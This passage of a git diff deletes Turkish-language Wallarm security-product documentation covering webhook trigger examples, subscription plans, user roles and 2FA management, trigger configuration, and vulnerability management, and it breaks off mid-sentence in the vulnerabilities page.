---8<-- "../include/cloud-ip-by-request.md" - -## Ek uyarıları yapılandırma - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -### Örnek: Bir IP adresi denylist’e eklendiğinde Webhook URL’ye bildirim - -Bir IP adresi denylist’e eklendiyse bu olaya ilişkin webhook Webhook URL’ye gönderilir. - -![Denylist’e alınmış IP için tetik örneği](../../../images/user-guides/triggers/trigger-example4.png) - -**Tetiği test etmek için:** - -1. Wallarm Console → IP lists → Denylist bölümünü açın ve IP adresini denylist’e ekleyin. Örneğin: - - ![IP’yi denylist’e ekleme](../../../images/user-guides/triggers/test-ip-blocking.png) -2. Aşağıdaki webhook’un Webhook URL’ye gönderildiğini kontrol edin: - - ``` - [ - { - "summary": "[Wallarm] Trigger: New IP address was denylisted", - "description": "Notification type: ip_blocked\n\nIP address 1.1.1.1 was denylisted until 2021-06-10 02:27:15 +0300 for the reason Produces many attacks. You can review blocked IP addresses in the \"Denylist\" section of Wallarm Console.\nThis notification was triggered by the \"Notification about denylisted IP\" trigger. The IP is blocked for the application Application #8.\n\nClient: TestCompany\nCloud: EU\n", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "ip_blocked", - "trigger_name": "Notification about denylisted IP", - "application": "Application #8", - "reason": "Produces many attacks", - "expire_at": "2021-06-10 02:27:15 +0300", - "ip": "1.1.1.1" - } - } - ] - ``` - - * `Notification about denylisted IP` tetikleyicinin adıdır - * `TestCompany`, Wallarm Console’daki şirket hesabınızın adıdır - * `EU`, şirket hesabınızın kayıtlı olduğu Wallarm Cloud’dur - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/subscriptions.md b/docs/latest-tr/user-guides/settings/subscriptions.md deleted file mode 100644 index b45cd57b5a..0000000000 --- a/docs/latest-tr/user-guides/settings/subscriptions.md +++ /dev/null @@ -1,27 +0,0 @@ -# Abonelikler - -Wallarm Console içindeki **Settings** → **Subscriptions** bölümü, Wallarm [abonelik planı](../../about-wallarm/subscription-plans.md) ayrıntılarınızı görüntüler. - -## Ücretli abonelik planı - -Ücretli bir Wallarm abonelik planınız varsa, abonelik kartı aşağıdaki bilgileri görüntüler: - -* Abonelik adı ve durumu -* Aboneliğin sona erme tarihi -* Filtreleme düğümü tarafından işlenen isteklere ilişkin istatistikler -* Abonelik planına dahil edilen modül ve özelliklerin kümesi (küme, seçilen abonelik planına bağlıdır) - -![Ücretli abonelik planı](../../images/user-guides/settings/subscriptions/subscriptions.png) - -Bir aboneliği etkinleştirmek, iptal etmek veya değiştirmek için lütfen [sales@wallarm.com](mailto:sales@wallarm.com) adresine bir talep gönderin. - -## Free Tier kullanımı - -Wallarm Cloud’a kayıt olduysanız ve [Free Tier](../../about-wallarm/subscription-plans.md#free-tier) abonelik planını kullanıyorsanız, abonelik kartı aşağıdaki bilgileri görüntüler: - -* **Free Tier** abonelik kutucuğu -* **API Discovery** abonelik kutucuğu (Free Tier’a dahildir) -* Filtreleme düğümü tarafından işlenen isteklere ilişkin istatistikler -* [Etkin modüller ve özellikler](../../about-wallarm/subscription-plans.md#free-tier-us-cloud) kümesi - -Bir aboneliği etkinleştirmek, iptal etmek veya değiştirmek için lütfen [sales@wallarm.com](mailto:sales@wallarm.com) adresine bir talep gönderin. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/users.md b/docs/latest-tr/user-guides/settings/users.md deleted file mode 100644 index b6c244ab64..0000000000 --- a/docs/latest-tr/user-guides/settings/users.md +++ /dev/null @@ -1,174 +0,0 @@ -[link-audit-log]: audit-log.md - -[link-glossary-incident]: ../../glossary-en.md#security-incident -[link-glossary-vulnerability]: ../../glossary-en.md#vulnerability - -[img-configure-user]: ../../images/user-guides/settings/configure-user.png -[img-disabled-users]: ../../images/user-guides/settings/disabled-users.png -[img-search-user]: ../../images/user-guides/settings/search-users.png -[img-add-user]: ../../images/user-guides/settings/integrations/webhook-examples/adding-user.png -[img-add-user-invitation-link]: ../../images/user-guides/settings/invite-user-by-link.png -[img-user-menu]: ../../images/user-guides/settings/user-menu.png -[img-disabled-user-menu]: ../../images/user-guides/settings/disabled-user-menu.png -[img-edit-user]: ../../images/user-guides/settings/edit-user.png -[img-user-disable-2fa]: ../../images/user-guides/settings/users-disable-2fa.png -[img-user-menu-disable-2fa]: ../../images/user-guides/settings/disable-2fa-button.png -[img-disable-delete-multi]: ../../images/user-guides/settings/users-multi-disable-access.png -[img-enable-delete-multi]: ../../images/user-guides/settings/users-multi-enable-access.png - -# Kullanıcıları Yönetme - -Ekip üyelerinizi Wallarm hesabınıza davet edin ve her birine hassas bilgileri korumak ve hesap üzerindeki eylemleri sınırlandırmak için belirli bir rol atayın. Kullanıcıları **Settings** → **Users** bölümünden yönetin. - -Yalnızca **Administrator** ve **Global Administrator** rolleri kullanıcı yönetimi ayrıcalıklarına sahiptir. - -## Kullanıcı rolleri - -Wallarm müşterilerinin kullanıcıları aşağıdaki rollere sahip olabilir: - -* Tüm Wallarm ayarlarına erişimi olan **Administrator**. -* Ana Wallarm ayarlarını görüntüleme, saldırılar, [olaylar][link-glossary-incident] ve [zafiyetler][link-glossary-vulnerability] hakkında bilgileri yönetme erişimi olan **Analyst**. -* Ana Wallarm ayarlarını görüntüleme erişimi olan **Read Only**. -* [API Discovery](../../api-discovery/overview.md) modülü tarafından keşfedilen API envanterini görüntüleme ve indirme erişimi olan **API Developer**. Bu rol, görevleri yalnızca şirket API’lerine ilişkin güncel verileri elde etmek için Wallarm’ı kullanmayı gerektiren kullanıcıları ayırt etmeyi sağlar. Bu kullanıcıların **API Discovery**, onun dashboard’ı ve **Settings → Profile** dışında herhangi bir Wallarm Console bölümüne erişimi yoktur. -* `addnode` betiğini kullanarak Wallarm filtreleme düğümleri oluşturmaya erişimi olan ve Wallarm Console’a erişimi olmayan **Deploy**. - - !!! warning "Wallarm node 4.0’ı kurmak için Deploy rolünün kullanılması" - **Deploy** kullanıcı rolünün, yalnızca 3.6 ve altı sürümlerdeki düğümlerin kurulumu için kullanılması önerilir çünkü [`addnode` betiği 4.0 sürümünde kullanım dışı bırakılmıştır](../../updating-migrating/older-versions/what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-api-tokens). - -[Çok kiracılılık](../../installation/multi-tenant/overview.md) özelliği ayrıca **Global Administrator**, **Global Analyst**, **Global Read Only** gibi global rolleri kullanmanızı sağlar. Global roller kullanıcılara teknik tenant hesabına ve bağlantılı tenant hesaplarına erişim sağlarken, normal roller yalnızca teknik tenant hesabına erişim sağlar. - -Farklı kullanıcı rollerinin Wallarm varlıklarına erişimi hakkında daha ayrıntılı bilgi aşağıdaki tabloda verilmiştir. Varlık yönetimi; varlık oluşturma, düzenleme ve silmeyi kapsar. - -| Varlık | Administrator / Global Administrator | Analyst / Global Analyst | Read Only / Global Read Only | API Developer | -|---------------------|--------------------------------------|--------------------------|------------------------------|---| -| **Filtering nodes** | Görüntüle ve yönet | Görüntüle | Görüntüle | - | -| **Dashboard** | Görüntüle | Görüntüle | Görüntüle | - | -| **Attacks** | Görüntüle ve yönet | Görüntüle ve yönet | Görüntüle | - | -| **Incidents** | Görüntüle ve yönet | Görüntüle ve yönet | Görüntüle | - | -| **API Sessions** | Görüntüle ve yönet | Görüntüle | Görüntüle | - | -| **Vulnerabilities** | Görüntüle ve yönet | Görüntüle ve yönet | Görüntüle | - | -| **API inventory by API Discovery** | Görüntüle ve yönet | Görüntüle ve yönet | - | Görüntüle ve indir | -| **API Specifications** | Görüntüle ve yönet | Görüntüle | Görüntüle | Görüntüle | -| **Triggers** | Görüntüle ve yönet | - | - | - | -| **IP lists** | Görüntüle, yönet ve dışa aktar | Görüntüle, yönet ve dışa aktar | Görüntüle ve dışa aktar | - | -| **Rules WAF** | Görüntüle ve yönet | Görüntüle ve yönet | Görüntüle | - | -| **Credential Stuffing Detection** | Görüntüle ve yönet | Görüntüle ve yönet | Görüntüle | - | -| **BOLA protection** | Görüntüle ve yönet | Görüntüle | - | - | -| **Security Edge** | Görüntüle ve yönet | Görüntüle | - | - | -| **Integrations** | Görüntüle ve yönet | - | - | - | -| **Filtration mode** | Görüntüle ve yönet | Görüntüle | Görüntüle | - | -| **Applications** | Görüntüle ve yönet | Görüntüle | Görüntüle | - | -| **Users** | Görüntüle ve yönet | - | Görüntüle | - | -| **API tokens** | Kişisel ve paylaşılan token’ları yönet | Kişisel token’ları yönet | - | - | -| **Activity log** | Görüntüle | - | Görüntüle | - | - -## Kullanıcıları davet etme - -Hesabınıza bir kullanıcı eklemenin iki yolu vardır; her ikisi de bir davet bağlantısı oluşturmayı ve paylaşmayı içerir. Wallarm’ın davet bağlantısını belirtilen kullanıcının e-posta adresine otomatik olarak göndermesini sağlayabilir veya bağlantıyı doğrudan kullanıcıyla paylaşabilirsiniz. - -### Otomatik e-posta daveti - -Bu yöntem için, kullanıcının rolünü, e-postasını ve adlarını önceden ayarlayın; Wallarm, belirttiğiniz e-posta adresine giriş yapma ve parola belirleme bağlantısını içeren bir davet e-postası gönderecektir. Kullanıcı, kayıt işlemini tamamlamak için bağlantıyı izlemelidir. - -Davet bağlantısını otomatik olarak göndermek için **Add user** düğmesine tıklayın ve formu doldurun: - -![Yeni kullanıcı formu][img-add-user] - -Formu gönderdikten sonra kullanıcı, kullanıcı listenize eklenecek ve davet bağlantısını içeren bir e-posta alacaktır. - -### Manuel davet bağlantısı paylaşımı - -**Invite by link** seçeneğini kullanarak ekip üyenizin e-postasını, rolünü ve bağlantının geçerlilik süresini seçip bir davet bağlantısı oluşturun. Ardından bu bağlantıyı ilgili kullanıcıyla paylaşın. - -![Yeni kullanıcı davet bağlantısı][img-add-user-invitation-link] - -Bu bağlantı, kullanıcının bir parola seçip adını girerek hesabını oluşturacağı Wallarm kayıt sayfasına yönlendirir. - -Kayıt sonrasında, kullanıcılar listenize eklenecek ve bir doğrulama e-postası alacaktır. - -## SSO ile otomatik oluşturma - -Wallarm Console kullanıcılarını ve izinlerini doğrudan SAML SSO çözümünüzden yönetebilirsiniz. Bu durumda, SAML SSO çözümünüzde Wallarm rollerine eşlenmiş gruplar bulunur - bu gruplar içinde yeni kullanıcılar oluşturduğunuzda, kullanıcılar Wallarm’da otomatik olarak oluşturulur ve şu hakları alır: - -* Karşılık gelen Wallarm rolü. -* SSO kimlik bilgileriyle Wallarm Console’a anında erişim. -* Rol tarafından belirtilen izinler. - -Bunun çalışması için, [burada](../../admin-en/configuration-guides/sso/setup.md#step-4-saml-sso-solution-configure-provisioning) açıklandığı gibi Wallarm ile SAML SSO çözümünüz arasında **provisioning** seçeneği etkin olacak şekilde entegrasyon yapılandırmanız gerekir. - -## Kullanıcı ayarlarını değiştirme - -Bir kullanıcı kullanıcı listesinde göründüğünde, ilgili kullanıcı menüsünden **Edit user settings** seçeneğini kullanarak ayarlarını düzenleyebilirsiniz. Bu sayede atanan kullanıcı rolünü, adını ve soyadını değiştirebilirsiniz. - -## 2FA yönetimi - -### Tüm kullanıcılar için zorunlu kılma - -Tüm şirket kullanıcıları için iki faktörlü kimlik doğrulamayı (2FA) zorunlu kılabilirsiniz. Bunun için: - -1. Wallarm Console’u açın → **Settings** → **General**. -1. **Sign-in management** bölümünde, **Enforce two-factor authentication for all company users** seçeneğini işaretleyin ve onaylayın. - -![2FA - Tüm şirket kullanıcıları için etkinleştirme](../../images/user-guides/settings/2fa-enforce.png) - -Etkinleştirildiğinde, şirket hesabınızdaki tüm kullanıcılar, atlama seçeneği olmadan giriş yapabilmeden önce 2FA’yı kurmak zorunda kalacaktır: bir sonraki girişlerinde 2FA’nın zorunlu kılındığı bildirilecek ve 2FA yapılandırma seçenekleri sunulacaktır. Ancak, bu seçeneğin etkinleştirilmesi mevcut kullanıcı oturumlarını etkilemez. - -Zorunlu kılma modunu daha sonra dilediğiniz zaman devre dışı bırakabilirsiniz. Devre dışı bıraktıktan sonra, kullanıcılar bilgilendirilmez ve [kendileri](account.md#enabling-two-factor-authentication) veya [siz (yönetici)](#disabling-for-selected-users) bu kullanıcı için manuel olarak devre dışı bırakana kadar 2FA’yı kullanmaya devam ederler. - -### Seçili kullanıcılar için devre dışı bırakma - -Bir kullanıcıda [iki faktörlü kimlik doğrulama (2FA) etkinse](account.md#enabling-two-factor-authentication) ve bunu sıfırlamanız gerekiyorsa, kullanıcı menüsünden **Disable 2FA** seçeneğini belirleyin. Eylemi, Wallarm yönetici hesabı parolanızı girerek onaylayın. [2FA zorunlu kılma modu](#enforcing-for-all-users) etkin olduğunda, tek tek kullanıcılar için 2FA’yı devre dışı bırakamazsınız. - -![Kullanıcı işlem menüsü][img-user-menu-disable-2fa] - -Bu işlem, seçili kullanıcı için 2FA’yı devre dışı bırakacaktır. Kullanıcı, profil ayarları üzerinden 2FA’yı yeniden etkinleştirebilir. - -## Kullanıcıları devre dışı bırakma ve silme - -* Bir kullanıcının hesabını silmeden Wallarm hesabına oturum açma yeteneğini geçici olarak askıya almak için adının yanındaki **Disable access** seçeneğini kullanın. Bu işlem, kullanıcıyı ana kullanıcı listesinde gri renkte işaretler ve **Disabled** sekmesinde listeler. Hesaplarını yeniden etkinleştirmek için **Enable access** seçeneğini belirleyin; böylece tekrar oturum açıp Wallarm’a erişebilirler. -* Kalıcı olarak kaldırmak ve giriş erişimini tamamen iptal etmek için kullanıcı menüsünden **Delete** kullanıcısını seçin. Bu işlem onları kullanıcı listesinden kalıcı olarak kaldırır ve geri alınamaz. - -## Yeni kullanıcı uyarıları - -**User added** koşuluyla bir [tetikleyici](../triggers/triggers.md) ayarlayarak Wallarm hesabınıza yeni kullanıcılar eklendiğinde anında uyarılar alın. Yalnızca belirli roller veya herhangi bir yeni kullanıcı eklemesi hakkında bildirim almayı seçebilirsiniz. - -Bu bildirimlerle ilgilenen ekip üyeleri kendi tetikleyicilerini kendileri ayarlamalıdır. - -**Tetikleyici örneği: Slack’e yeni kullanıcı uyarıları** - -Wallarm Console’da şirket hesabına **Administrator** veya **Analyst** rolüne sahip yeni bir kullanıcı eklendiyse, bu olay hakkında bildirim, entegrasyonda belirtilen e-posta adresine ve Slack kanalına gönderilecektir. - -![Slack’e ve e-posta ile bildirim gönderen tetikleyici örneği](../../images/user-guides/triggers/trigger-example2.png) - -**Tetikleyiciyi test etmek için:** - -1. Wallarm Console → **Settings** → **Users** bölümünü açın ve yeni bir kullanıcı ekleyin. -2. E-posta Gelen Kutunuzu açın ve aşağıdaki mesajın geldiğini kontrol edin: - - ![Yeni kullanıcı eklendiğine dair e-posta](../../images/user-guides/triggers/test-new-user-email-message.png) -3. Slack kanalını açın ve aşağıdaki bildirimin **wallarm** kullanıcısından geldiğini kontrol edin: - - ``` - [Wallarm] Trigger: New user was added to the company account - - Notification type: create_user - - A new user John Smith with the role Analyst was added to the company account by John Doe . - This notification was triggered by the "Added user" trigger. - - Client: TestCompany - Cloud: EU - ``` - - * `John Smith` ve `johnsmith@example.com` eklenen kullanıcıya ilişkin bilgilerdir - * `Analyst` eklenen kullanıcının rolüdür - * `John Doe` ve `johndoe@example.com` yeni kullanıcıyı ekleyen kullanıcıya ilişkin bilgilerdir - * `Added user` tetikleyicinin adıdır - * `TestCompany`, Wallarm Console’daki şirket hesabınızın adıdır - * `EU`, şirket hesabınızın kayıtlı olduğu Wallarm Cloud’dur - -## Oturum kapatma yönetimi - -**Administrator** ve **Global Administrator** [roller](users.md#user-roles), şirket hesabı için oturum kapatma zaman aşımı sürelerini **Settings** → **General** bölümünde ayarlayabilir. Ayarlar tüm hesap kullanıcılarını etkiler. Boşta kalma ve mutlak zaman aşımı süreleri ayarlanabilir. - -![General sekmesi](../../images/user-guides/settings/general-tab.png) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/triggers/triggers.md b/docs/latest-tr/user-guides/triggers/triggers.md deleted file mode 100644 index 8e389116c7..0000000000 --- a/docs/latest-tr/user-guides/triggers/triggers.md +++ /dev/null @@ -1,95 +0,0 @@ -# Tetikleyicilerle Çalışma - -Tetikleyiciler, Wallarm'ın farklı olaylara vereceği yanıtı ayarlamak için kullanılan araçlardır. Tetikleyiciler, sistemin tepki verebileceği çok sayıda olayı, uygulanabilecek çeşitli tepkilerle birleştirir. Bu yapılandırıcıya benzer süreç, şirketinizin benzersiz güvenlik ihtiyaçlarına uyan karmaşık davranışları yapılandırmanıza olanak tanır. - -Tetikleyiciler, **Triggers** bölümünde [US](https://us1.my.wallarm.com/triggers) veya [EU](https://my.wallarm.com/triggers) Cloud içinde yapılandırılır. - -![Tetikleyicileri yapılandırma bölümü](../../images/user-guides/triggers/triggers-section.png) - -## Nasıl çalışır - -Her tetikleyici, yapılandırabileceğiniz aşağıdaki bileşenlerden oluşur: - -* **Condition**: Wallarm'ın tepki vermesi gereken olay. Örneğin: belirli sayıda saldırı alınması, denylist'e alınmış IP adresi ve hesaba yeni kullanıcı eklenmesi. -* [**Filters**](#understanding-filters): koşulun ayrıntıları. Örneğin: koşul "Günde 10.000'den fazla saldırı" ise, **Type** filtresini "SQLi" ve **Response status** değerini "200" olarak ayarlayın; bu tetikleyici için anlamı "Günde 10.000'den fazla 200 yanıtı alan SQLi saldırısı varsa harekete geç" olur. -* **Reaction**: belirtilen koşul ve filtreler karşılandığında gerçekleştirilmesi gereken eylem. Örneğin: Slack'e veya [entegrasyon](../settings/integrations/integrations-intro.md) olarak yapılandırılmış başka bir sisteme bildirim göndermek, IP adresini engellemek veya istekleri brute‑force saldırısı olarak işaretlemek. - -## Tetikleyicilerle neler yapabilirsiniz - -Tetikleyicileri kullanarak şunları yapabilirsiniz: - -* Uygulamalarınız ve API'leriniz için aşağıdaki koruma önlemlerini sağlayın: - - * [Çoklu saldırı faillerine karşı koruma](../../admin-en/configuration-guides/protecting-with-thresholds.md) - * [Brute force koruması](../../admin-en/configuration-guides/protecting-against-bruteforce.md) - * [Forced browsing koruması](../../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) - * [BOLA koruması](../../admin-en/configuration-guides/protecting-against-bola-trigger.md) - -* Farklı [entegrasyonlar](../../user-guides/settings/integrations/integrations-intro.md) için gelişmiş uyarılar ayarlayın. -* [hit](../../user-guides/events/grouping-sampling.md#grouping-of-hits) gruplandırma ile saldırı ve olayların gösterimini optimize edin. - -## Filtreleri anlama - -Filtreler, [koşulu](#how-it-works) detaylandırmak için kullanılır. Örneğin, brute-force, SQL injection ve diğerleri gibi belirli türdeki saldırılara yönelik tepkiler ayarlayabilirsiniz. Wallarm Console arayüzünde bir veya daha fazla filtre ekleyebilir ve bunlar için değerler belirleyebilirsiniz. - -![Mevcut filtreler](../../images/user-guides/triggers/trigger-filters.png) - -Aşağıdaki filtreler mevcuttur: - -* **URI** (yalnızca **Brute force**, **Forced browsing** ve **BOLA** koşulları için): isteğin gönderildiği tam URI. URI, [URI constructor](../../user-guides/rules/rules.md#uri-constructor) veya [advanced edit form](../../user-guides/rules/rules.md#advanced-edit-form) aracılığıyla yapılandırılabilir. -* **Type**, istekte tespit edilen bir saldırının [türü](../../attacks-vulns-list.md) veya isteğin yöneldiği bir güvenlik açığı türüdür. -* **Application**, isteği alan [uygulama](../settings/applications.md)dır. -* **IP**, isteğin gönderildiği IP adresidir. - - Bu filtre yalnızca tekil IP'leri kabul eder; alt ağlar, konumlar ve kaynak türlerine izin verilmez. -* **Domain**, isteği alan domaindir. -* **Response status**, isteğe döndürülen yanıt kodudur. -* **Target**, saldırının yöneltildiği veya olayın tespit edildiği uygulama mimarisi parçasıdır. Şu değerleri alabilir: `Server`, `Client`, `Database`. -* **User's role**, eklenen kullanıcının [rolüdür](../../user-guides/settings/users.md#user-roles). Şu değerleri alabilir: `Deploy`, `Analyst`, `Administrator`, `Read only`, `API developer` ve [multitenancy](../../installation/multi-tenant/overview.md) özelliği etkinse `Global Administrator`, `Global Analyst`, `Global Read Only`. - -## Varsayılan tetikleyiciler - -Yeni şirket hesapları aşağıdaki varsayılan (önceden yapılandırılmış) tetikleyicilerle gelir: - -* Aynı IP'den gelen hit'leri tek bir saldırıda grupla - - Tetikleyici, aynı IP adresinden gönderilen tüm [hit](../../glossary-en.md#hit)'leri olay listesinde tek bir saldırı halinde gruplar. Bu, olay listesini optimize eder ve daha hızlı saldırı analizini sağlar. - - Bu tetikleyici, tek bir IP adresi 15 dakika içinde 50'den fazla hit ürettiğinde tetiklenir. Yalnızca eşik aşıldıktan sonra gönderilen hit'ler saldırı içine gruplandırılır. - - Hit'ler farklı saldırı türlerine, kötü amaçlı payload'lara ve URL'lere sahip olabilir. Bu saldırı parametreleri olay listesinde `[multiple]` etiketiyle işaretlenecektir. - - Gruplandırılan hit'lerin farklı parametre değerleri nedeniyle, tüm saldırı için [Mark as false positive](../events/check-attack.md#false-positives) düğmesi kullanılamaz, ancak belirli hit'leri yanlış pozitif olarak işaretleyebilirsiniz. [Saldırının aktif doğrulanması](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing) da kullanılamayacaktır. - - Brute force, Forced browsing, Resource overlimit, Data bomb veya Virtual patch saldırı türlerine sahip hit'ler bu tetikleyicide dikkate alınmaz. -* 1 saat içinde 3'ten fazla farklı [kötü amaçlı payload](../../glossary-en.md#malicious-payload) üretirse IP'yi 1 saatliğine Graylist'e al - - [Graylist](../ip-lists/overview.md), node tarafından şu şekilde işlenen şüpheli IP adreslerinin bir listesidir: Graylist'teki IP kötü amaçlı istekler üretirse, node bunları engeller; meşru istekler ise izin alır. Graylist'in aksine, [denylist](../ip-lists/overview.md) uygulamalarınıza hiç ulaşmasına izin verilmeyen IP adreslerini işaret eder - node denylist'teki kaynakların ürettiği meşru trafiği bile engeller. IP Graylist'e alma, [false positives](../../about-wallarm/protecting-against-attacks.md#false-positives) azaltmayı amaçlayan seçeneklerden biridir. - - Tetikleyici, node'un herhangi bir filtreleme modunda tetiklenir; böylece node modu ne olursa olsun IP'leri Graylist'e alır. - - Ancak node, Graylist'i yalnızca **safe blocking** modunda analiz eder. Graylist'teki IP'lerden gelen kötü amaçlı istekleri engellemek için, önce özelliklerini öğrenerek node [modunu](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) safe blocking olarak değiştirin. - - Brute force, Forced browsing, Resource overlimit, Data bomb veya Virtual patch saldırı türlerine sahip hit'ler bu tetikleyicide dikkate alınmaz. - -Herhangi bir varsayılan tetikleyiciyi geçici olarak devre dışı bırakabilirsiniz. Varsayılan tetikleyicinin sağladığı davranışı da değiştirebilirsiniz - bunun için aynı türden özel tetikleyiciler oluşturun. Herhangi bir özel tetikleyici oluşturmak varsayılanı siler; tüm özel tetikleyicilerinizi silerseniz varsayılan geri yüklenir. - -## Tetikleyici işleme öncelikleri - -Aynı koşullara (örneğin, **Brute force**, **Forced browsing**, **BOLA**) sahip birden fazla tetikleyici olduğunda ve bunlardan bazıları URI'da daha düşük iç içelik düzeyiyle filtrelenmişse, daha düşük iç içelik düzeyi URI'sine yönelik istekler yalnızca daha düşük iç içelik düzeyi URI filtresine sahip tetikleyicide sayılır. - -URI filtresi olmayan tetikleyiciler daha yüksek iç içelik düzeyi olarak kabul edilir. - -**Örnek:** - -* Aynı koşula sahip ilk tetikleyici, URI'ya göre filtre içermez (herhangi bir uygulamaya veya onun herhangi bir bölümüne yönelik istekler bu tetikleyici tarafından sayılır). -* Aynı koşula sahip ikinci tetikleyici, `example.com/api` URI'sına göre filtreye sahiptir. - -`example.com/api` adresine yönelik istekler yalnızca `example.com/api` filtresine sahip ikinci tetikleyici tarafından sayılır. - -## Tetikleyicileri devre dışı bırakma ve silme - -* Bildirim ve tepkileri olaylara göndermeyi geçici olarak durdurmak için tetikleyiciyi devre dışı bırakabilirsiniz. Devre dışı bir tetikleyici, **All** ve **Disabled** tetikleyici listelerinde görüntülenir. Olaylara bildirim ve tepkileri yeniden göndermek için **Enable** seçeneği kullanılır. -* Bildirim ve tepkileri olaylara kalıcı olarak durdurmak için tetikleyiciyi silebilirsiniz. Bir tetikleyiciyi silme işlemi geri alınamaz. Tetikleyici, tetikleyici listesinden kalıcı olarak kaldırılır. - -Tetikleyiciyi devre dışı bırakmak veya silmek için, lütfen tetikleyici menüsünden uygun seçeneği seçin ve gerekirse işlemi onaylayın. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/user-intro.md b/docs/latest-tr/user-guides/user-intro.md deleted file mode 100644 index 2c0bf76dcb..0000000000 --- a/docs/latest-tr/user-guides/user-intro.md +++ /dev/null @@ -1,53 +0,0 @@ -[img-wallarm-portal-overview]: ../images/user-guides/dashboard/dashboard.png - -[link-wallarm-console]: https://my.wallarm.com/settings/users - -[doc-use-search]: search-and-filters/use-search.md -[doc-subscriptions]: ../about-wallarm/subscription-plans.md - - -# Kullanıcı Kılavuzuna Giriş - -Bu kılavuz, Wallarm'ın kullanım seçenekleri hakkında bilgi sağlar. Bu işlemlerin tamamı Wallarm portalı üzerinden gerçekleştirilir. - -!!! info "Gerekli Erişim Hakları" - - Bu kılavuzda açıklanan işlemlerin çoğunu gerçekleştirmek için analyst erişimine sahip olmanız gerekir. Analyst erişimini Wallarm portalında *Settings* → *Users* sekmesinden [US](https://us1.my.wallarm.com/settings/users) veya [EU](https://my.wallarm.com/settings/users) bulutunda ayarlayabilirsiniz. - -## Wallarm Portalına Genel Bakış - -![Portal genel görünümü][img-wallarm-portal-overview] - -Wallarm portalına giriş yaptıktan sonra aşağıdakilerle karşılaşırsınız: -* Portalın sol tarafında sekmelerden oluşan bir kenar çubuğu. - - Wallarm çözümünün bir bileşeninden diğerine geçmek için bu sekmeleri kullanın. - - Bazı bileşenlerin sayfalarında, yatay hizalanmış kendi sekmeleri bulunur. - - Kenar çubuğunun en altında *Help & Docs* düğmesi bulunur. Bu düğmeye tıkladığınızda, portalın sağ tarafında *Quick Help* kenar çubuğu açılır; burada çeşitli ürün bilgilerini inceleyebilir ve destek ekibine mesaj gönderebilirsiniz. - - !!! info "Bileşen Kullanılabilirliği Hakkında Not" - Wallarm portalınız bu Kullanıcı Kılavuzunda gösterilen ekran görüntülerinden farklı görünebilir. - - Bazı bileşenlerin ve UI öğelerinin kullanılabilirliği, kullanılan aboneliklere bağlıdır. - - Daha fazla ayrıntı için [“Abonelikler”][doc-subscriptions] belgesine bakın. - -* Portalın üst kısmında bir arama kutusu. - - Bu arama kutusu, *Events* sekmesi hariç portalın her yerinde kullanıma açıktır. Bir arama sorgusu yazdığınızda, *Events* sekmesindeki arama sonuçlarına yönlendirilirsiniz. - - [“Aramayı Kullanma”][doc-use-search] belgesi, arama sorgusu sözdizimini tanıtır ve aramanın nasıl kullanılacağını açıklar. - -* Portalın sağ üst köşesinde, arama kutusunun yanında bir *Settings* düğmesi. Bu düğme küçük bir dişli gibi görünür. - - Wallarm ayarları sayfasını açmak için bu düğmeyi kullanın. - -* Yaptığınız işlemlere bağlı olarak, portalın en sağında bazı ek kenar çubukları görüntülenebilir. - - \ No newline at end of file diff --git a/docs/latest-tr/user-guides/vulnerabilities.md b/docs/latest-tr/user-guides/vulnerabilities.md deleted file mode 100644 index d6b357740b..0000000000 --- a/docs/latest-tr/user-guides/vulnerabilities.md +++ /dev/null @@ -1,86 +0,0 @@ -# Güvenlik Açıklarını Yönetme - -Güvenlik açıkları, saldırganların sisteminizde yetkisiz ve kötü niyetli işlemler gerçekleştirmek için istismar edebileceği altyapıdaki güvenlik kusurlarıdır. Wallarm Console içinde, Wallarm tarafından sisteminizde tespit edilen güvenlik kusurlarını analiz edip yönetebilirsiniz: - - -* **Vulnerabilities** bölümünde -* **AASM** → **Security Issues** bölümünde - -Wallarm, güvenlik zafiyetlerini [keşfetmek](../about-wallarm/detecting-vulnerabilities.md) için çeşitli teknikler kullanır, bunlar şunları içerir: - -* **Pasif tespit**: güvenlik açığı, talepler ve yanıtlar dahil gerçek trafiğin analiz edilmesiyle bulunmuştur. Bu, gerçek bir kusurun istismar edildiği bir güvenlik olayı sırasında veya taleplerin doğrudan bir kusur istismarı olmadan, örneğin ele geçirilmiş JWT’ler gibi güvenlik açığı belirtileri göstermesi durumunda gerçekleşebilir. -* **Threat Replay Testing**: güvenlik açığı, Wallarm tarafından başlatılan [saldırı tekrar yürütme güvenlik testleri](../vulnerability-detection/threat-replay-testing/overview.md) sırasında bulunmuştur. -* **API Attack Surface Management (AASM)**: harici host’ları ve onların API’lerini [keşfeder](../api-attack-surface/overview.md), ardından her biri için eksik WAF/WAAP çözümlerini belirler ve güvenlik açıklarını bulur. -* **API Discovery insights**: güvenlik açığı, GET isteklerinin sorgu parametrelerinde PII aktarımı nedeniyle [API Discovery](../api-discovery/overview.md) modülü tarafından bulunmuştur. - -Wallarm, tespit edilen tüm güvenlik açıklarının geçmişini **Vulnerabilities** bölümünde saklar: - -![Vulnerabilities tab](../images/user-guides/vulnerabilities/check-vuln.png) - -## Güvenlik açığı yaşam döngüsü - -Bir güvenlik açığının yaşam döngüsü değerlendirme, giderme ve doğrulama aşamalarını içerir. Her aşamada, Wallarm sorunu kapsamlı şekilde ele almanız ve sisteminizi güçlendirmeniz için gerekli verileri sağlar. Ek olarak, Wallarm Console, **Active** ve **Closed** durumlarını kullanarak güvenlik açığı durumunu kolayca izlemenizi ve yönetmenizi sağlar. - -* **Active** durumu, güvenlik açığının altyapıda var olduğunu gösterir. -* **Closed** durumu, güvenlik açığının uygulama tarafında giderildiğinde veya yanlış pozitif olarak belirlendiğinde kullanılır. - - Bir [yanlış pozitif](../about-wallarm/detecting-vulnerabilities.md#false-positives), meşru bir varlığın yanlışlıkla güvenlik açığı olarak tanımlanması durumunda ortaya çıkar. Yanlış pozitif olduğunu düşündüğünüz bir güvenlik açığı ile 